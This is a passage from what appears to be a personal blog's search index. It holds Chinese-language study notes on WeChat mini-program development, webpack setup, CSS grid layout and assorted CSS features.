'#ccc'\r}\r})\rWXSS选择器支持.class，#id，组件选择（例如view，选择全部view组件），::after（view::after，在view组件后插入内容），::before（view::before，在view组件前面插入内容）\n项目目录结构\napp.js：必需，小程序的逻辑所在\napp.json：必需，小程序的公共配置\napp.wxss：不必需，小程序的公共样式\n页面组成\njs：必需，页面逻辑\nwxml：必需，页面结构\njson：不必需，页面的配置\nwxss：不必需，页面的样式\n小程序支持的文件：\nwxs，png，jpg，jpeg，gif，svg，json，cer，mp3，aac，m4a，mp4，wav，ogg，silk，wasm，br\n全局配置：app.json是用于小程序进行的全局配置，决定页面文件路径，窗口表现，网络超时等等\npages配置：定义页面的路径，优先显示第一个设置的页面\nwindow配置：定义所有页面的顶部样式\ntabBar配置：底部tab栏的表现\n页面配置：每个页面都可以使用.json来配置当前页面的窗口表现，注意：会覆盖掉app.json相同的配置项\nstiemap配置：通过配置sitemap.json或者后台页面收录开关来确定小程序页面是否允许被微信索引，当被允许时，微信会通过爬虫的形式，对小程序的页面内容进行索引\n生命周期\n应用生命周期\nonLaunch：小程序初始化，当页面第一次加载时触发，跳转页面返回不触发\nonShow：小程序显示（前台），当页面显示或者从后台返回小程序显示该页面时触发，从跳转页面返回时触发\nonError：小程序页面异常触发\nonPageNotFound：页面不存在\n页面生命周期\nonLoad：页面加载触发\nonShow：页面显示触发\nonReady：页面初次渲染完成触发\nonHide：页面隐藏触发\nonUnload：小程序页面卸载，例如： 重定向一个页面，原页面被关闭\nonPullDownRefresh：用户下拉触发\nonReachBottom：页面上拉触底触发\nonPageScroll：页面被滚动触发\nonResize：页面尺寸发生改变时输出\n小程序组件生命周期\ncreated：当组件实例被初始化时触发该生命周期钩子（在该钩子触发时，并不能使用setData，this.data等于Component.data）\nattached：当组件实例初始化完毕，进入页面节点树后触发该生命周期钩子（this.data被初始化为组件的当前值）\nready：当组件实例在视图层布局完成后触发该生命周期钩子\nmoved：当组件实例被移动到节点树另一个位置时触发该生命周期钩子\ndetached：当组件实例被销毁时触发该生命周期钩子（退出当前组件的页面树，也会触发该生命周期钩子）\nerror：当组件方法抛出错误时触发该生命周期钩子\nWXML，数据绑定，列表渲染，条件渲染，模板引用\n数据绑定和vue类似，不过小程序的数据绑定是单向的\nindex.wxml\n\u0026lt;view\u0026gt; {{message}} \u0026lt;/view\u0026gt;\rindex.js\nPage({\rdata: {\rmessage: 'hallo word'\r}\r})\r属性绑定\nindex.wxml\n\u0026lt;view\u0026gt;\r\u0026lt;text class='{message}'\u0026gt;\u0026lt;/text\u0026gt;\r\u0026lt;/view\u0026gt;\rindex.js\nPage({\rdata: {\rmessage: 'hallo word'\r}\r})\r列表渲染\n\u0026lt;block wx:for=\u0026quot;{{arrs}}\u0026quot; wx:fot-item=\u0026quot;abc\u0026quot; ws:key=\u0026quot;index\u0026quot;\u0026gt; \u0026lt;view\u0026gt;\r{{index}}:{{abc}} \u0026lt;/view\u0026gt;\r\u0026lt;/block\u0026gt;\rPage({\rdata: {\rarrs: [1,2,3,4,5]\r}\r})\r条件渲染\n\u0026lt;view wx:if=\u0026quot;{{hallo}}\u0026quot;\u0026gt; True \u0026lt;/view\u0026gt;\r\u0026lt;view wx:if=\u0026quot;{{abc === 1}}\u0026quot;\u0026gt; hallo wrod \u0026lt;/view\u0026gt;\rPage({\rdata: {\rhallo: true,\rabc: 2\r}\r}\r允许使用wx:if，wx:elif和wx:else使用\nwx:if是控制属性，可以判断组件是否是否显示，多个组件使用block元素包裹\nvx:if和hidden组件的区别，hidden是通过hidden属性隐藏，vx:if是通过局部重新渲染的方式，直接将该组件移除出该DOM\nWXML的共同属性，id，class，style，hidden，data-，bind/catch*\n模板引用\ndata.wxml\n\u0026lt;template name='tempa'\u0026gt;\r\u0026lt;view\u0026gt;\rid: {{id}}\rname: {{name}}\rage: {{age}}\r\u0026lt;/view\u0026gt;\r\u0026lt;/template\u0026gt;\rindex.wxml index.js\nPage({\rdata: {\rdataitem: {\rid: 1,\rname: chenjunlin,\rage: 20\r}\r}\r})\r注意：import模板时，是存在作用域的，只能import该模板的内容，如果这个wxml文件内有其他内容是不会被渲染到页面的，避免模板引用死循环\n而使用include组件引用的话，是直接目标整个引入进来，这个时候引用模板和直接在声明模板的文件使用是一样的，就好像include组件将目标整个复制进来一样\nWXS\nWXS是小程序的脚本语言，搭配WXML使用，WXS不依赖于小程序的运行时基本库版本，和JavaScript环境隔离，WXS不能调用js文件定义的，也不能使用小程序提供的api，WXS函数不能作为事件回调函数\n\u0026lt;wxs module='hhh'\u0026gt;\rvar abc = 'hallo word'\rmodule.exports = {\rxyz: abc\r}\rmodule.exports.value = 100\r\u0026lt;/wxs\u0026gt;\r\u0026lt;view\u0026gt;{{hhh.xyz}}\u0026lt;/view\u0026gt;\r\u0026lt;view\u0026gt;{{hhh.value}}\u0026lt;/view\u0026gt;\r小程序事件\n事件是视图层到逻辑层的通讯方式，监听用户的行为，通过事件的方式反映到逻辑层进行处理\n点击事件（tap），长按事件（longpress），触摸事件（例如：开始触摸（touchstart），结束触摸（touchend），终止触摸（touchcancel））等等\n事件（视图层到逻辑层的通信）\n\u0026lt;view id='tap' bindtap='taptest'\u0026gt; hallo word \u0026lt;/view\u0026gt;\rPage({\rtaptest(event) {\rconsole.log(event)\r}\r})\r事件处理机制：事件捕获，事件处理，事件冒泡\n路由\n打开新页面通过调用wx.navigateTo API或者使用组件\n页面重东西通过调用wx.redirectTo API或者使用组件\n页面返回通过调用wx.navigateBack API或者使用组件\ntab切换通过调用wx.switchTab API或者使用组件\n重启动通过调用wx.reLaunch API或者使用组件\nMINA(MINA IS NOT APP) 是微信开发小程序的框架\nMINA框架由视图层（小程序的page页面），逻辑层，系统层（JSBridge，微信API，离线存储，网络请求等等）组成\n渲染会将WXML节点转换成js对象（AST节点树），更新数据时会进行diff差异处理\n小程序运行机制\n启动（冷启动（首次启动需要加载，生命周期为销毁时），热启动（无需加载））\n微信小程序提供2个线程来处理，分别是View Thread和AppService Thread，这2个线程同时进行加载（并行），View Thread加载完毕后，会通知AppService Thread，AppService Thread再将处理完毕的数据交付给View Thread\n微信小程序API\n网络请求，媒体处理，上传下载文件，数据缓存，位置信息，设备信息，路由控制\n微信开放功能：登录授权，微信支持，模板消息，转发分享，打开APP\nAPI一般有3个回调函数，success（api成功后），fail（api调用失败后），complete（api调用完成时，不管成功与否）\nApi官方文档：https://developers.weixin.qq.com/miniprogram/dev/api/\n","permalink":"https://xiaochenabc123.github.io/posts/48/","summary":"小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）\n微信之父张小龙是这样描述小程序的：\n小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。\n用户扫一扫或者搜一下即可打开应用，也体现了用完即走的理念。\n用户不用关心是否安装太多应用的问题，应用将无处不在，随时可用，但又无需安装卸载\n微信小程序的接口服务器要求进行ICP备案，并且经过审核，才能发布小程序\n微信小程序开发文档\nhttps://developers.weixin.qq.com/miniprogram/dev/framework/\n开发工具：微信开发者工具\n小程序的宿主环境\n在iOS中，使用JavaScriptCore，在Android中使用X5内核，在ide中使用nwjs\n小程序的运行机制（冷启动，热启动）\n小程序在后台中停留一段时间后，被微信销毁，再打开时需要重新加载该小程序的资源，也就是冷启动，而在没被销毁的时间段内，再打开该小程序，是不需要重新加载资源，是热启动\n小程序发布更新时，会异步加载新资源，也会导致冷启动\n小程序产品需求\n发现真实需要\n用户深度访谈，分析竞品，付费意愿\n需求分期：最小化可行产品（MVP）\n不是每个功能都要开发（优先开发最重要和最紧急的功能）\n优化开发顺序，先开发基础可用，然后迭代更新功能，满足用户需求，功能文档\n根据用户体验来优化服务\n原型制作工具：墨刀，Axure\n微信小程序结构\nindex.wxml页面结构\nindex.wxss页面样式\nindex.js页面逻辑\n如果设置了单独的页面样式，那么会覆盖掉app.wxss的样式\napp.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面\napp.json文件结构\npages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：\n\u0026quot;pages\u0026quot;:[\r\u0026quot;pages/index/index\u0026quot;,\r\u0026quot;pages/demo/demo\u0026quot;\r],\rwindow属性是设置小程序的窗口样式，例如：\n\u0026quot;window\u0026quot;:{\r\u0026quot;backgroundTextStyle\u0026quot;:\u0026quot;light\u0026quot;,\r\u0026quot;navigationBarBackgroundColor\u0026quot;: \u0026quot;#fff\u0026quot;, // 导航栏背景颜色\r\u0026quot;navigationBarTitleText\u0026quot;: \u0026quot;Weixin\u0026quot;, // 导航栏文本\r\u0026quot;navigationBarTextStyle\u0026quot;:\u0026quot;black\u0026quot; // 导航栏文本颜色\r},\r从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么\ndemo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性\ndemo.wxml，该文件是用来描述页面的，和html类似\npages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的\nutils文件夹：用于存放公共的js程序，便于不同的页面进行调用\nimgages文件夹：为方便管理小程序的用到的全部静态图片\napp.js：当前项目的js（全局数据和反应）\njson：全局配置\nwxss：全局样式\nproject.config.json：项目配置文件，配置微信开发者工具，例如工具的页面颜色，编译配置等等个性化配置\npage.json: 单独定义每个页面的一些属性，例如：顶部颜色，是否可以下拉刷新等等\napp.json：这是一种数据格式，小程序的静态配置（全局配置），页面的路径，界面的表现，顶部样式，网络超时等等\npages字段：描述当前小程序所有页面的路径，让微信清楚小程序页面定义在哪个目录\nwindow字段：定义小程序所有页面的顶部背景颜色，文字颜色等等\njson是包裹在一个括号中，以键值对的方式表达数据，值必须包含在双引号中，在json中无法使用注释\nwxml\nWXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构\nview元素是表示块级，和div类似\nscroll-view元素是表示可滚动页面区域\ntext元素是表示行内文本，和span类似","title":"微信小程序学习笔记"},{"content":"webpack作为模块加载和打包神器\n安装node就有npm了，用npm安装webpack\nnpm i webpack webpack-cli -g 安装全局的webpack\n到项目目录下，npm init -y 初始化模块\nnpm i webpack webpack-cli -D 安装项目局部的webpack，-D是\u0026ndash;save-dev的意思，推荐使用\nwebpack 入口文件名 最后输出到哪个文件的文件名，例如：\nnpx webpack A.js B.js\n那么就会编译A.js，输出到B.js\nwebpack只能处理JavaScript，处理其他类型的文件，需要安装几个包\nnpm install css-loader style-loader\n假设有个一个abc.css文件，里面定好了样式\n那么修改A.js\nrequire(\u0026quot;!style-loader!css-loader!./abc.css\u0026quot;); document.write(require(\u0026quot;./C.js\u0026quot;));\n再打包一次\nnpx webpack A.js B.js\n会出现一个C.js\n配置webpack.config.js\nmodule.exports = {\rentry: '入口文件的路径',\routput: {\rpath:__dirname,\rfilename: '最后输出到哪个文件的文件名'\r},\rmodule: {\rrules: [{\rtest: '处理什么格式的文件',\ruse:[\r{\rloader: '依赖包'\r}\r]\r}\r]\r}\r};\r模块化\nimport $ from \u0026ldquo;jquery\u0026rdquo; // 导入jQuery，只需要src当前js文件就可以导入jQuery依赖\nloader加载器打包非js模块，比如：\nless-loader：打包.less相关文件\nsass-loader：打包.scss相关文件\nurl-loader：打包处理css中与url路径相关的文件\nwebpack打包处理过程：\n先判断是否为js模块，不是就检查是否配置了对应的loader，配置了就是调用loader处理，没有配置就是报错\n如果是js模块就判断是否包含了高级js语法，没有包含就直接调用webpack处理，包含了就检查是否配置了babel，配置了就是调用loader处理，没有配置就报错\n加载器的使用\nnpm i style-loader css-loader -D // 安装处理css文件的loader\n在webpack.config.js的module -\u0026gt; rules数组中，添加loader规则，例如：\nmodule: {\rrules: [\r{\rtest: /\\.css$/, use: [\u0026quot;style-loader\u0026quot;,\u0026quot;css-loader\u0026quot;]\r}\r]\r}\r注意：\ntest表示匹配的文件类型，use表示要调用的loader\nuse数组中指定的loader顺序是固定的，调用顺序是从后往前调用的\nless loader\nnpm i less-loader less -D\ntest: /.less$/, use: [\u0026ldquo;style-loader\u0026rdquo;,\u0026ldquo;css-loader\u0026rdquo;,\u0026ldquo;less-loader\u0026rdquo;]\n先把less解析为css文件，然后再解析css文件\nscss loader\nnpm i sass-loader node-sass -D\ntest: /.scss$/, use: [\u0026ldquo;style-loader\u0026rdquo;,\u0026ldquo;css-loader\u0026rdquo;,\u0026ldquo;sass-loader\u0026rdquo;]\n打包样式表的图片和字体\nnpm i url-loader file-loader -D\ntest: /.jpg|png|gif|bmp|ttf|eot|svg|woff|woff2$/, use: \u0026ldquo;url-loader?limit=1024\u0026rdquo;\nlimit是用来指定图片的大小的，单位是字节（b），只有小于limit大小的图片，才被转换为base64图片\n打包js高级语法\n安装babel转换器相关的包\nnpm i babel-loader @babel/core @babel/runtime -D\n安装babel语法插件相关的包\nnpm i @babel/preset-env @babel/plugin-transform-runtime @babel/plugin-proposal-properties -D\n配置babel.config.js并初始化\nmodule.exports = {\rpresets: [\u0026quot;@babel/preset-env\u0026quot;],\rplugins: [\u0026quot;@babel/plugin-transform-runtime\u0026quot;,\u0026quot;@babel/plugin-proposal-properties\u0026quot;]\r}\r配置webpack.config.js\ntest: /.js$/, use: \u0026ldquo;babel-loader\u0026rdquo;, exclude: /node_modules/\nexcludes是排除项，表示babel-loader不需要处理node_modules中的js文件\n配置postCSS，自动添加css兼容性\nnpm i postcss-loader autoprefixer -D\n配置postcss.config.js，并且初始化\nconst autoprefixer = require(\u0026quot;autoprefixer\u0026quot;) // 导入插件\rmodule.exports = {\rplugins: [autoprefixer] // 加载插件\r}\r配置webpack.config.js\ntest: /.css$/, use: [\u0026ldquo;style-loader\u0026rdquo;,\u0026ldquo;css-loader\u0026rdquo;,\u0026ldquo;postcss-loader\u0026rdquo;]\n导入vue单文件组件\nimport App from \u0026ldquo;./App.vue\u0026rdquo;\n安装处理vue单文件的loader\nnpm i vue-loader vue-template-compile -D\n添加loader配置文件\n处理vue文件的loader需要VueLoaderPlugin插件\nconst VueLoaderPlugin = require(\u0026quot;vue-loader/lib/plugin\u0026quot;);\rtest: /\\.vue$/, loader: \u0026quot;vue-loader\u0026quot;\rplugins: [\rnew VueLoaderPlugin()\r]\rwebpack dev-Server和proxy代理\nloaders及plugins的处理\nresolve/sourceMap\nwebpack性能优化（TreeShaking，热更新）\n具体请看webpack官方文档\n","permalink":"https://xiaochenabc123.github.io/posts/47/","summary":"webpack作为模块加载和打包神器\n安装node就有npm了，用npm安装webpack\nnpm i webpack webpack-cli -g 安装全局的webpack\n到项目目录下，npm init -y 初始化模块\nnpm i webpack webpack-cli -D 安装项目局部的webpack，-D是\u0026ndash;save-dev的意思，推荐使用\nwebpack 入口文件名 最后输出到哪个文件的文件名，例如：\nnpx webpack A.js B.js\n那么就会编译A.js，输出到B.js\nwebpack只能处理JavaScript，处理其他类型的文件，需要安装几个包\nnpm install css-loader style-loader\n假设有个一个abc.css文件，里面定好了样式\n那么修改A.js\nrequire(\u0026quot;!style-loader!css-loader!./abc.css\u0026quot;); document.write(require(\u0026quot;./C.js\u0026quot;));\n再打包一次\nnpx webpack A.js B.js\n会出现一个C.js\n配置webpack.config.js\nmodule.exports = {\rentry: '入口文件的路径',\routput: {\rpath:__dirname,\rfilename: '最后输出到哪个文件的文件名'\r},\rmodule: {\rrules: [{\rtest: '处理什么格式的文件',\ruse:[\r{\rloader: '依赖包'\r}\r]\r}\r]\r}\r};\r模块化","title":"webpack学习笔记"},{"content":"grid 布局\ngrid布局和flex布局类似，不过grid是最强大的css布局方式\ngrid布局是网格布局\ndisplay: grid; // 定义grid布局，默认为块级元素\ndisplay: inline-grid // 设置为行内元素\n设置为grid布局后，容器的子元素的float（浮动），display: inlne-block（行内块级元素），display: table-cell（表格单元格），vertical-align（垂直对齐方式）之类的全部都会失效\n列宽和行高的设置\ngrid-template-columns: 100px; // 列宽\ngrid-template-rows: 100px; // 行高\n数值也支持百分比\ngrid-template-columns: repeat(3, 100px); // 列宽，重复次数为3，重复的值为100px，和下面效果是一样的\ngrid-template-columns: 100px 100px 100px;\ngrid-template-rows: repeat(auto-fill, 100px); // 行高，自动填充容器，行高为100px\ngrid-template-rows: 1fr 2fr; // 行高，第二个的行高是第一的2倍\ngrid-template-rows: minmax(100px, 300px); // 生成一个长度范围，长度在这个范围内，两个参数分别代表最小值和最大值，这里表示的是行高不小于100px，不大于300px\ngrid-template-rows: auto; // 由浏览器决定行高\ngrid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称\ngrid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳\ngrid-row-gap: 10px; // 行间距（行与行的距离）\ngrid-column-gap: 10px; // 列间距（列与列的距离）\n可以简写为grid-gap: 10px 20px; // 行间距，列间距，如果只提供一个值，那么行间距，列间距都为那个值\ngrid-row-start: 2; // 指定从哪条行开始，这里指定在第二行上\ngrid-column-start: 2; // 指定从哪条列开始，这里指定在第二列上\ngrid-row-end: 2; // 指定横跨第几行，这里指定的是第二行\ngrid-column-end: 2; // 指定横跨第几列，这里指定的是第二列\n上面的属性默认为auto，可以简写为下面的\n指定项目放在哪个区域\ngrid-area: b; // 指定该项目放在b区域\ngrid-area：2 / 2 / span 2 / span 2; // 在第二行第2列开始，横跨两行两列\nspan关键字是跨域的意思，指的是跨域多少个网格\ngrid-template-areas: \u0026ldquo;a b c\u0026rdquo;; // 指定区域中对应的单元格，如果区域中不需要用到则用点.来表示\ngrid-auto-flow: column; // 设置为先放满列再放行，网格布局，容器的元素会根据顺序进行排列，默认是先放满第一行，再放第二行，而该属性设置为先放满第一列，再放第二列表，默认值为row\n如果有一些元素的大小是不一致，浏览器认为这个位置放不下，会另外起一行放\ngrid-auto-flow: row dense; // 先填满行，而且是尽可能的填满，不留下空隙\ngrid-auto-flow: column dense; // 先填满列，而且是尽可能的填满，不留下空隙\n设置单元格内容的位置\njustify-items: centet; // 水平位置，内容居中\nalign-items: centet; // 垂直位置，内容居中\nstretch：拉伸，占满整个单元格的宽度（默认值） start：对齐单元格的起始位置 end：对齐单元格的结束位置 center：单元格内容居中\n可以简写为place-items: centet centet; // 水平居中，垂直居中，如果只提供一个值，那么水平和垂直都是这个值\n设置单个项目的位置\njustify-self: center; // 设置单个项目在网格中的水平方向位置，居中\nalign-self: center; // 设置单个项目在网格中的垂直方向位置，居中\n和justify-items，align-items类似，只是作用于单个项目\n可简写为place-self: center; // 如果不提供第二个值，那么垂直方向和水平方向都是那个值\n设置网格在容器的位置\njustify-content: center; // 网格在容器水平方向为居中\nalign-content: center; // 网格在容器垂直方向为居中\n属性值和上面的类似\nspace-around // 网格的项目的两侧的距离相等，a项目和b项目的距离是相等，所以实质上项目与项目之间的距离是和容器之间的距离的2倍\nspace-between // 项目和项目之间距离相等，项目和容器没有间隔\nspace-evenly // 项目和项目之间距离相等，项目和容器之间也是相等间隔\n可以简写为place-content: center center; // 水平居中，垂直居中，如果只提供一个值，那么水平和垂直都是这个值\n如果浏览器自动生成一些多余网格，而要设置这些多余网格的行高和列宽\ngrid-auto-columns: 100px; // 多余网格的行高为100px\ngrid-auto-rows: 100px; // 多余网格的列宽为100px\n项目属性定位\ngrid-column-start: 2; // 左边框在第二个项目的垂直线上\ngrid-column-end: 3; // 右边框在第三个项目的垂直线上\ngrid-row-start: 2; // 上边距在第二个项目的水平线上\ngrid-row-end: 3; // 下边距在第三个项目的水平线上\n除了设置项目的定位外，还可以设置网格线的名称\ngrid-column-start: main-start;\n可以简写为\ngrid-column: 2 / 3;\ngrid-row: 2 / 3;\n效果和上面一样\n","permalink":"https://xiaochenabc123.github.io/posts/45/","summary":"grid 布局\ngrid布局和flex布局类似，不过grid是最强大的css布局方式\ngrid布局是网格布局\ndisplay: grid; // 定义grid布局，默认为块级元素\ndisplay: inline-grid // 设置为行内元素\n设置为grid布局后，容器的子元素的float（浮动），display: inlne-block（行内块级元素），display: table-cell（表格单元格），vertical-align（垂直对齐方式）之类的全部都会失效\n列宽和行高的设置\ngrid-template-columns: 100px; // 列宽\ngrid-template-rows: 100px; // 行高\n数值也支持百分比\ngrid-template-columns: repeat(3, 100px); // 列宽，重复次数为3，重复的值为100px，和下面效果是一样的\ngrid-template-columns: 100px 100px 100px;\ngrid-template-rows: repeat(auto-fill, 100px); // 行高，自动填充容器，行高为100px\ngrid-template-rows: 1fr 2fr; // 行高，第二个的行高是第一的2倍\ngrid-template-rows: minmax(100px, 300px); // 生成一个长度范围，长度在这个范围内，两个参数分别代表最小值和最大值，这里表示的是行高不小于100px，不大于300px\ngrid-template-rows: auto; // 由浏览器决定行高\ngrid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称\ngrid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳\ngrid-row-gap: 10px; // 行间距（行与行的距离）","title":"Grid布局学习笔记"},{"content":"box-sizing 盒类型\n该属性是告诉浏览器是以什么盒模型展示的\nIE用的是border-box\n计算方式是外边距+内边距+内容=宽度（高度）\n而像谷歌浏览器之类的用的是content-box\n计算方式是容器的宽度或者高度\nbox-sizing: content-box; // 告诉浏览器是以content-box方式计算\nborder-box // 告诉浏览器是以border-box方式计算\ncss样式优先级\n!important \u0026gt; 内联 \u0026gt; id \u0026gt; 类 \u0026gt; 标签 \u0026gt; 通配符 \u0026gt; 默认样式 \u0026gt; 继承样式\nletter-spacing 字间距\n该属性控制字符之间的距离，字符之间的字符间距，默认值为0\n该属性支持三种类型的数值\npx（像素）\nem（相对值，相对于原来设置的值，如果原来的值为16px，那么1em就是16px，可以理解为倍数）\nrem（和em类似，不过它相对的是html元素，而em是相对于它本身）\n例如：\nletter-spacing: 6px;\ncolumns\n用于指定列宽和列数\n例如：\ncolumns: 100px 3; // 指的是列宽为100px，列数为3\ncolumn-gap\n用于列与列之间的间隔\ncolumn-gap: 30px;\ncolumn-rule\n用于指定列之间的宽度和样式，以及颜色（列的边线）\ncolumn-rule: 6px dashed #ccc;\n可拆分为\ncolumn-rule-width和column-rule-style和column-rule-color\ncolumn-span\n指定元素应横跨多少列\ncolumn-span: 3;\nall为横跨所有列\nmedia 媒体查询\n媒体查询常用于响应式布局，为不同屏幕设置不同的样式\n@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置\n检测是否有将系统的主题色设置为亮色或者暗色（安卓开启深色模式也有效，可以用于定义夜间模式等等）\n@media (prefers-color-scheme: dark){} // 暗色\n@media (prefers-color-scheme: light){} // 亮色\nonly元素选择\n.app:only-child // 选择唯一性子元素的.app类元素（必须是唯一性）\n.app:only-of-type // 选择指定类型（.app）的子元素（只要是父元素下有.app类就会选择）\nbefore和after插入（伪类）\n.app:before // 在app类的内容之前插入新的内容\n.app:after // 在app类的内容之后插入新的内容\nnth 元素选择（伪类）\n.app:nth-child(2) // 选择app类的父元素下的第2个子元素\n.app:nth-last-child(2) // 选择app类的父元素下的第2个子元素中的带有.app元素\n.app:nth-of-type(2) // 选择属性app类的父元素下的第2个子元素中的全部同类型的元素\n.app:nth-last-of-type(2) // 选择app类的父元素下倒数的第2个子元素中的带有.app元素\ncalc 计算属性\n动态计算长度\nwidth: calc(80% + 100px); // 宽度等于父元素的80%宽度加上100px\ncss单位：px（像素），em（相对于自身元素），rem（相对于根元素，html元素），vw（1vw等于视口宽度的1%，100vw就是视宽100%），vh（1vh等于视口高度的1%，100vh就是视高的100%）\n注意：vw，vh是相对于视口，包括滚动条，而100%不包括滚动条，因此100%和100vw（vh）有可能是不一致的\nIFC全称Inline Formatting Contexts，中文翻译为行内格式化上下文\n只要块级元素中仅包含内联级元素就会触发IFC机制，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;span\u0026gt;\rhallo\r\u0026lt;/span\u0026gt;\r\u0026lt;/div\u0026gt;\r特性：\n可以根据IFC容器的属性值，对子元素进行排列，例如text-align: center;\n子元素使用float浮动的优先排列\n上下外边距不生效，但是左右外边距生效，IFC机制就是只计算横向样式，不计算纵向样式\nIFC机制常用于文本行高不同，元素垂直显示的问题\n缓动动画公式：(目标值 - 现在的位置) / 10\ncss3原生变量\n声明变量\n#app{\r--textmax: 10px;\r}\rtextmax变量（属性）目前没有任何含义，因此，css变量也叫做css自定义属性，变量名大小写敏感\nvar()函数用于读取变量的值，例如：\n#app{\rfont-size: var(--textmax, 13px);\r}\rvar()的第二个参数是表示变量的默认值，如果这个变量不存在，就使用这个默认值\n注意：和less那些css预处理器不同，css原生变量只能用于属性值，不能用于属性名\n如果变量值是字符串，可以进行拼接，而且变量带有单位，不可写为字符串\n如果变量值是数值，需要calc()函数才能进行拼接，例如：\n#app{\rfont-size: calc(var(--textmax, 13px) + 10px);\r}\r作用域\ncss变量的优先级和css选择器的优先级是一样的， id \u0026gt; 类 \u0026gt; 标签 \u0026gt; 通配符\n粘性布局\nposition: sticky;\n该属性值还处在实验性期间，因此兼容性差的不堪入目\nposition: -webkit-sticky;\rposition: sticky;\rtop: 20px;\r当元素距离视窗顶部的距离大于20px的时候，以relative定位显示，当小于20px的时候，以fixed定位\n触发生效要有top, right, bottom 或 left其中一个值\n注意：当left和right同时设置时，left的优先级高，当top和bottom同时设置，top的优先级高\n而且使用sticky的元素的父节点的overflow属性必须是visible，因为如果设置hidden，那么就无法滚动，就无法生效了，而设置其他relative|absolute|fixed会导致其相对于父元素，而不是相对于视窗定位了\n动画间隔时间公式，因为大多数显示器默认频率是60Hz，即1秒刷新60次，因此最小间隔为1/60*1000ms = 16.7ms\nBootstrap\n由twitter提供，支持Sass变量，v5版本移除JQuery依赖（所以使用v5版本不需要再导入jQuery了）\n使用简单，直接用类名覆盖样式，就可以使用现成由Bootstrap提供的样式\nBootstrap响应式布局用的@media（media query / 媒体查询）\n如果不喜欢部分Bootstrap的样式，也可以自定义（使用sass修改变量）\ncss Modules（class默认局部生效，解决css冲突）\nCSS Modules不是官方规范，也不是浏览器提供的特性，而是依赖于构建工具（例如webpack）\nclass类名是动态生成的，唯一的，并且准确地对应源码的类样式，样式复用通过composes关键字实现\n例如：\n.test{\rcolor: #ccc;\r}\r.demo{\rcomposes: test;\rbox-sizing: border-box;\r}\rlayout viewport，visual viewport，ideal viewport\nlayout viewport是网页布局的区域，因此layout viewport可能大于视窗区域，也可能小于，当缩放为100%时，layout viewport宽度等于视窗的宽度，一般来说不会发生改变，除非布局元素被清除了\nvisual viewport是视窗区域，这个区域随缩放改变\nideal viewport：每个设备的ideal viewport有可能不同，可以理解为设备区域，这个可以手动设置，例如：\n\u0026lt;meta name=\u0026quot;viewport\u0026quot; content=\u0026quot;width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0\u0026quot;\u0026gt;\rdevice-width为视窗大小，也就是visual viewport\n上面例子在100%缩放中，ideal viewport的大小（不是指单位）等于设备物理大小\nideal viewport可以通过执行window.screen.width/window.screen.height获得\n在我这里宽度为1463px，那么表示无论设备的物理像素多大，在这里就是用1463px表示\n例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\rbody{\rpadding: 0;\rmargin: 0;\r}\r#app{\rwidth: 1463px;\rheight: 10px;\rbackground-color: #000;\r}\r可以发现app元素布满了视窗宽度，说明在该设备中css的1463px等于100%\ncss的1px不等于设备中的1px，css的1px和设备的尺寸相关，和视窗的缩放有关（实质上都和devicePixelRatio有关）\ndevicePixelRatio（比例） = device pixels（设备物理像素） / device-independent pixels（设备独立像素，例如css的像素）\ndevicePixelRatio比例可直接通过执行window.devicePixelRatio得到（在我这边为1.75，说明css的1px等于设备的1.75px）\nclamp()，限制一个值在最小值，最大值之间，有3个参数，最小值，首选值，最大值\nwidth: clamp(1rem,10px,5rem);\r当首选值在最大和最小之间时，选择首选值\n当首选值比最大值大时，使用最大值\n当首选值比最小值小时，使用最小值\n","permalink":"https://xiaochenabc123.github.io/posts/44/","summary":"box-sizing 盒类型\n该属性是告诉浏览器是以什么盒模型展示的\nIE用的是border-box\n计算方式是外边距+内边距+内容=宽度（高度）\n而像谷歌浏览器之类的用的是content-box\n计算方式是容器的宽度或者高度\nbox-sizing: content-box; // 告诉浏览器是以content-box方式计算\nborder-box // 告诉浏览器是以border-box方式计算\ncss样式优先级\n!important \u0026gt; 内联 \u0026gt; id \u0026gt; 类 \u0026gt; 标签 \u0026gt; 通配符 \u0026gt; 默认样式 \u0026gt; 继承样式\nletter-spacing 字间距\n该属性控制字符之间的距离，字符之间的字符间距，默认值为0\n该属性支持三种类型的数值\npx（像素）\nem（相对值，相对于原来设置的值，如果原来的值为16px，那么1em就是16px，可以理解为倍数）\nrem（和em类似，不过它相对的是html元素，而em是相对于它本身）\n例如：\nletter-spacing: 6px;\ncolumns\n用于指定列宽和列数\n例如：\ncolumns: 100px 3; // 指的是列宽为100px，列数为3\ncolumn-gap\n用于列与列之间的间隔\ncolumn-gap: 30px;\ncolumn-rule\n用于指定列之间的宽度和样式，以及颜色（列的边线）\ncolumn-rule: 6px dashed #ccc;\n可拆分为\ncolumn-rule-width和column-rule-style和column-rule-color\ncolumn-span\n指定元素应横跨多少列\ncolumn-span: 3;\nall为横跨所有列\nmedia 媒体查询\n媒体查询常用于响应式布局，为不同屏幕设置不同的样式\n@media(max-width:768px){} // 